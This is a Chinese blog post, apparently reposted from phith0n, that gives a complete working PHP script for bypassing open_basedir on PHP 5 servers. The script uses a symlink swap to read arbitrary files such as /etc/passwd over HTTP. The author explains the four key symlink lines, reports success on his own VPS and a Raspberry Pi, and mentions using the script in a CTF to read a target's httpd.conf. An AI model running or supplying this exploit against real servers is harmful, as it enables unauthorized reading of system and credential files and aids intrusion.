当前位置: 首页 > news >正文

php5全版本绕过open_basedir读文件脚本 -- phith0n


漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。
他在评论里发过了:http://zone.wooyun.org/content/17131,漏洞详情在这里http://cxsecurity.com/issue/WLB-2009110068。
给出我写的EXP:

<?php
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.'/'.$file);
      if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
  }
}

function File_Str($string)
{
  return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $randStr = '';
  for ($i = 0; $i < $length; $i++) {
    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  return $randStr;
}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。
精华就是这四句:

symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。
其中并没有任何操作触发open_basedir,但达到的效果就是绕过了open_basedir读取任意文件。错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。
树莓派测试:


01.jpg
02.jpg
相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。
前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。发现没旁站,流量是通过网关转发的。
40.jpg

相关文章:

  • 移动设备怎样定位
  • ZMAP扫描mongodb配合多线程验证脚本
  • wordpress 3.0-3.9.2 XSS Getshell Payload(可Getshell当前模板也可以是全部插件模板)
  • firefox ios
  • DWR安全问题
  • 关于jav rmi介绍与安全
  • 入侵【提权】读取各种配置文件
  • 计算机网络安全指标详述
  • ios 8 从越狱恢复至纯净系统
  • linux日志以及查看登录信息
  • linux下查找某个目录下包含某个字符串的文件
  • 【Python】python学习之路(针对没有任何编程经验者或懂一点shell者)
  • web开发必备-网络基础知识---记录一下
  • python 中BeautifulSoup入门
  • Python 标准库 urllib2 的使用细节
  • Docker: 容器互访的三种方式
  • in typeof instanceof ===这些运算符有什么作用
  • IndexedDB
  • java2019面试题北京
  • js 实现textarea输入字数提示
  • Mysql数据库的条件查询语句
  • orm2 中文文档 3.1 模型属性
  • vue-router的history模式发布配置
  • 纯 javascript 半自动式下滑一定高度,导航栏固定
  • 目录与文件属性:编写ls
  • 使用前端开发工具包WijmoJS - 创建自定义DropDownTree控件(包含源代码)
  • 责任链模式的两种实现
  • 掌握面试——弹出框的实现(一道题中包含布局/js设计模式)
  • 函数计算新功能-----支持C#函数
  • ## 临床数据 两两比较 加显著性boxplot加显著性
  • #if 1...#endif
  • #WEB前端(HTML属性)
  • #我与Java虚拟机的故事#连载09:面试大厂逃不过的JVM
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • (02)vite环境变量配置
  • (1)(1.13) SiK无线电高级配置(五)
  • (26)4.7 字符函数和字符串函数
  • (3)STL算法之搜索
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (编译到47%失败)to be deleted
  • (附源码)springboot宠物管理系统 毕业设计 121654
  • (一) storm的集群安装与配置
  • (原創) 博客園正式支援VHDL語法著色功能 (SOC) (VHDL)
  • (轉)JSON.stringify 语法实例讲解
  • .gitignore文件_Git:.gitignore
  • .NET 5种线程安全集合
  • .NET Core使用NPOI导出复杂,美观的Excel详解
  • .NET gRPC 和RESTful简单对比
  • .NET Standard、.NET Framework 、.NET Core三者的关系与区别?
  • .net 后台导出excel ,word
  • .NET(C#) Internals: as a developer, .net framework in my eyes
  • .NetCore实践篇:分布式监控Zipkin持久化之殇
  • /boot 内存空间不够
  • @cacheable 是否缓存成功_Spring Cache缓存注解
  • @RequestMapping用法详解